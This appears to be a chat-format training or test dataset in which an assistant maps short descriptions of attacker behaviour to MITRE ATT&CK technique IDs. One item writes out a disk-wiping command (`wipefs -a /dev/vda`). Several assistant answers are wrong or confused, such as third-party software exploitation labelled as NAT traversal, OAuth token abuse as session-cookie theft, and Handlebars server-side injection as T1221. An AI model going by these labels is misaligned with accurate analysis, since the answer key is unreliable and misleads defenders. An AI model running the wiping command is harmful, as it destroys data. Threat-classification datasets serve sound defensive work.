                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a script that disables the logging agent on Kubernetes nodes, preventing container logs from being sent to the central logging service."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set manipulates the router's NAT configuration through HTTP requests to map internal services to external ports, facilitating data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a vulnerable container image to propagate ransomware across a microservices architecture."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a malicious DLL as a Netsh helper so that the DLL is automatically loaded and executed whenever any netsh command is run on the host."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extracts the private key for a code signing certificate from an infected Windows host and uses it to sign payloads."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a compromised corporate email account to send malicious attachments to other employees, hoping they will open them and execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach includes a command that runs `wipefs -a /dev/vda` to erase filesystem signatures."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages a compromised server to emit a sustained high‑volume of HTTP GET requests to overwhelm the target's network capacity, effectively a direct flood."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script queries the environment variable ‘USERPROFILE’ to discover the current user’s home directory."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat modifies the boot configuration data (BCD) to point to a rogue bootloader that executes a stealthy rootkit early in the boot process."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a stolen AWS root account to create multiple access keys, allowing parallel data exfiltration streams."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries DNS TXT records to retrieve C2 server addresses encoded in base64."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulated the sudoers configuration to include a command alias that runs a backdoor installer with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a list of domain usernames and passwords to bypass multi-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits weak permissions on HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices to inject a malicious service payload."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system executes a PowerShell command to add a new local administrator account for persistent access."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor performs Google dork queries to locate the target's domain and associated pages."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses in‑memory execution to avoid writing files to disk."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accessed the victim's Office 365 mailbox and deleted all incoming and outgoing messages to erase evidence of exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Changing the access rights of a service binary allows the intruder to drop and execute a payload with SYSTEM level privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant encodes the encrypted payload using hexadecimal representation before writing it to disk."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages the DNSDB API to gather historical DNS records for the victim's domains."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Make use of vulnerabilities in third-party software components for exploitation"
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"kubectl get pods -A -o wide\" to discover all pods across namespaces and their node assignments."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker scripts a PowerShell command that sets the \"Turn off the display\" timeout to 0 minutes, keeping the screen on indefinitely to facilitate visual monitoring of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the \"Image File Execution Options\" (IFEO) to set a global shim that loads a payload whenever a particular executable is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary installs a scheduled task that monitors the Emond service and executes a malicious PowerShell script when the service starts."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen Azure service principal credentials, the threat actor modifies existing virtual machines to install backdoors."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging the Mimikatz DCSync module, the attacker retrieved NTLM and Kerberos hashes of domain accounts without needing local admin rights."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a script that uses the victim’s browser session to scrape SharePoint pages for internal strategy documents."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the system's firmware to embed a rootkit that activates during power‑on self‑test."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising the organization's DNS server, the adversary can redirect users to a malicious website."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses the Kubernetes kubelet API on a compromised node to retrieve stored service account tokens and Docker config files."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes an XPC connection to a privileged system service to execute commands with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat groups exploit the unsecured storage of credentials in GPP XML files to collect credentials for lateral escalation."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code reads the registry key HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USB to enumerate peripheral devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors encrypt or corrupt backup files and shadow copies, making system recovery impossible."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages unsanitized user data in a Handlebars.js template, causing the template engine to evaluate injected JavaScript payloads on the server."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deletes all files in /private/var/log/ on a Mac to erase evidence of their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising the DNS server, the attacker inserted a CNAME record that points to a malicious payload host."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages vulnerabilities within network appliances to move laterally across a network, exploiting trust in these devices."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious ASP.NET page is dropped on the target host, providing an interactive web shell for the attacker."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used AWS Systems Manager Session Manager to establish a direct command-line session on a target EC2 instance."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employs Google dorking techniques to locate unprotected PDFs on corporate domains that contain network diagrams."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group automates retrieval of domain validation certificates from public CT logs to facilitate man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used PowerShell to query Win32_PnPEntity and gathered info on plugged-in hardware."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged SNMPv2c community strings to dump MIBs and harvest network device configuration files."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor communicated with C2 via ICMP echo request/reply packets, carrying chunks of confidential documents."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a service called 'Updater' using sc create to persist across reboots."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary executed a malicious .dll using regsvr32.exe with the /i flag to bypass AppLocker and achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a .7z archive of harvested data using 7‑Zip before uploading to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By listening for broadcast name resolution queries, the adversary replies with its own IP, causing Windows clients to authenticate via SMB to the attacker’s machine."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PHP web shell was used to modify the site's landing page, inserting defacement content."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a compromised OAuth token to impersonate a user and gain access."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a custom utility to dump the contents of Lotus Notes mail databases stored on disk."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses the IIS metabase editing capability to inject a malicious handler mapping, enabling remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module creates a fake system service by renaming its executable to svchost.exe and registers it as a Windows service."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages stolen AWS credentials to create a rogue EC2 instance and host a malicious web service."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the domain's group policy to enforce a custom wallpaper displaying a phishing message."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom HTTP POST webhook, the attacker uploads collected credentials to a remote endpoint."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a vulnerability in a VPN client, the threat actor forces the endpoint to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses list planting to prepend a folder containing a trojaned library to the process's DLL load order, resulting in code execution."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware detects when a USB mass storage device is plugged in and immediately transfers stolen credentials to it."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign distributes malicious installers that contain hidden shellcode hidden in the favicon.ico of a compromised website."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious socket filter that drops packets containing signatures of known security tools, ensuring stealthy operation."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates an Outlook rule to automatically move emails containing specific keywords to a hidden folder for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By executing the built‑in tool ‘secretsdump.py’, the threat actor retrieves the SAM database and extracts clear‑text password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to enroll a new device to the target’s cloud account without detection."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a spearphishing voice campaign, targeting specific individuals with personalized scripts to extract privileged information."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a privileged account to replace the VM's virtual disk image with a tampered copy."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware swaps out a 2048‑bit RSA key for a 512‑bit key, drastically lowering the effort required for key cracking."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding a custom kernel extension to the boot loader configuration, the malicious code ensures execution every time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a Windows Scheduled Task that triggers every hour to upload logs to the attacker’s S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group takes over a cloud service account owned by a trusted third‑party and uses it to download sensitive data from the victim's storage buckets."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the cmd.exe interpreter, the attacker runs a benign-looking batch file that proxies the execution of a harmful script."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
